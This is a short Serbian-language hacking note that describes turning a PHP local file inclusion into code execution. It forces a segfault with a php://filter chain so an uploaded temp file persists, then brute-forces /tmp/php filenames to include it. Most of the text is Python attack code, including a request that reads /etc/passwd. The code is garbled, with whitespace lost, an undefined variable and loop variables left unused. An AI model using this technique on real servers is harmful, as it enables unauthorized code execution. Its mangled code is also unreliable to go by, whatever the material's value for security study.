Treba da znate da ako pošaljetePOST zahtev sadržećifajl, PHP će kreirati privremeni fajl u /tmp/php<nešto> sa sadržajem tog fajla. Taj fajl će biti automatski obrisan nakon što je zahtev obradjen.
Ako pronađete LFI i uspete da izazovete segmentacionu grešku u PHP-u, privremeni fajl neće biti obrisan. Zato možete tražiti za njim koristeći LFI ranjivost sve dok ga ne pronađete i izvršite proizvoljni kod.
# upload file with segmentation faultimport requestsurl ="http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"files ={'file':open('la.php','rb')}response = requests.post(url, files=files)# Search for the file (improve this with threads)import requestsimport stringimport threadingcharset = string.ascii_letters + string.digitshost ="127.0.0.1"port =80base_url ="http://%s:%d"% (host, port)defbruteforce(charset):for i in charset:for j in charset:for k in charset:for l in charset:for m in charset:for n in charset:filename = prefix + i + j + kurl ="%s/index.php?i=/tmp/php%s"% (base_url, filename)print urlresponse = requests.get(url)if'spyd3r'in response.content:print"[+] Include success!"returnTruedefmain():bruteforce(charset)if__name__=="__main__":main()